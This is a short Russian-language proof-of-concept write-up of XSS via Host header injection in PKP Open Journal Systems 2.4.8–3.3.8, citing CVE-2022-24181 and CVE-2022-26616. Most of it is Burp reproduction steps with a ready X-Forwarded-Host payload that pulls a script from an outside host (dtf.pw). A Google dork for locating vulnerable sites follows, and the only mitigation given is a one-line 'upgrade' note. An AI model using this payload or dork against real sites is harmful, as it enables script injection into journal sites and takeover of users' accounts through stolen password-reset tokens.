CVE-2022-24181 и CVE-2022-26616, вероятно, одинаковы

Уязвимость Open-journal-system

XSS через инъекцию заголовка Host и кража токена сброса пароля другого пользователя Шаги для воспроизведения:

1. Перейдите на этот сайт: https://who's-using-ojs-software.com
2. Захватите этот запрос в Burp и отправьте его в Repeater.
3. Добавьте это после заголовка Host: X-Forwarded-Host: foo"><script src=//dtf.pw/2.js><x=".com
4. Нажмите Send, затем щелкните правой кнопкой мыши по запросу и выберите Show response in browser, после чего скопируйте запрос.
5. Вставьте этот запрос в браузер, и вы увидите всплывающее окно XSS. Меры предотвращения: обновитесь до более новой версии.

Google Dork для поиска этой уязвимости intitle:ojs Эта уязвимость в программном обеспечении PKP Open-journal-system с версии 2.4.8 по 3.3.8: все они уязвимы к XSS через инъекцию заголовка Host и краже токена сброса пароля.